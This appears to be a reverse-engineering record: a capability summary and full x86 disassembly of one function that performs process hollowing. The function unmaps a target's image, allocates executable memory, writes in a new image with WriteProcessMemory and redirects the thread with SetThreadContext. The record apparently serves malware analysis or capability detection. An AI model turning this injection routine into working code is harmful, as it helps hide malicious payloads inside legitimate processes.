Function at 0x401430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x308
mov eax, dword [0x41e090]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x2f8], edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x2f4], edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x2e4], edi
mov edi, dword [ebp + 0x18]
mov dword [ebp - 0x2e8], edi
lea edi, [ebp - 0x2f0]
push edi
lea edi, [ebp - 0x2dc]
push edi
mov edi, esi
call fcn.00401380
add esp, 8
test eax, eax
je 0x4016ce
mov eax, dword [ebp - 0x238]
mov edi, dword [ebp - 0x2e4]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x2e0], 0
cmp dword [edi + 0x1c], eax
jne 0x4014d8
mov ecx, dword [ebp - 0x2ec]
cmp ebx, ecx
ja 0x4014d8
lea edx, [ebp - 0x308]
push edx
push 0x40
push ecx
push eax
mov dword [ebp - 0x2e0], eax
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x40151a
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [esi]
push ecx
push edx
call eax
test eax, eax
jne 0x40151a
mov eax, dword [edi + 0x1c]
mov ecx, dword [esi]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x40156c
cmp dword [edi + 0x88], 0
je 0x40156c
cmp dword [edi + 0x8c], 0
je 0x40156c
mov edx, dword [esi]
push 0x40
push 0x3000
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2e0], eax
test eax, eax
je 0x40156c
cmp dword [edi + 0x88], 0
je 0x40156c
mov edi, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
call fcn.00401310
mov eax, dword [ebp - 0x224]
push eax
push str.EIP___X_n
call fcn.0040b695
mov ecx, dword [ebp - 0x22c]
push ecx
push str.EAX___X_n
call fcn.0040b695
mov edx, dword [ebp - 0x238]
push edx
push str.EBX___X_n
call fcn.0040b695
mov eax, dword [ebp - 0x230]
push eax
push str.ECX___X_n
call fcn.0040b695
mov ecx, dword [ebp - 0x234]
push ecx
push str.EDX___X_n
call fcn.0040b695
add esp, 0x28
cmp dword [ebp - 0x2e0], 0
je 0x4016c3
push ebx
push str.New_EXE_Image_Size___X_n
call fcn.0040b695
mov ecx, dword [ebp - 0x300]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add esp, 8
lea edx, [ebp - 0x304]
push edx
mov edx, dword [esi]
push 4
lea eax, [ebp - 0x2e0]
push eax
add ecx, 8
push ecx
push edx
call edi
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x2e8]
mov edx, dword [ebp - 0x2e0]
push 0
push ebx
push eax
mov dword [ecx + eax + 0x34], edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [esi]
push eax
push ecx
call edi
test eax, eax
je 0x4016bc
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x2dc], 0x10007
cmp eax, dword [ebp - 0x2f0]
jne 0x40165b
mov eax, dword [ebp - 0x2e4]
mov edx, dword [eax + 0x10]
add edx, dword [eax + 0x1c]
jmp 0x401666
mov ecx, dword [ebp - 0x2e4]
mov edx, dword [ecx + 0x10]
add edx, eax
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x2dc]
push eax
push ecx
mov dword [ebp - 0x22c], edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x2f8]
xor eax, eax
test ecx, ecx
je 0x401694
mov dword [ebp - 0x2fc], ecx
mov eax, 1
mov ecx, dword [esi]
push eax
lea edx, [ebp - 0x2fc]
push edx
call fcn.00405680
add esp, 8
mov eax, 1
pop edi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040b5e7
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [esi]
push 0
push eax
jmp 0x4016c8
mov ecx, dword [esi]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 8]
xor ecx, ebp
xor eax, eax
pop edi
call fcn.0040b5e7
mov esp, ebp
pop ebp
ret 0x14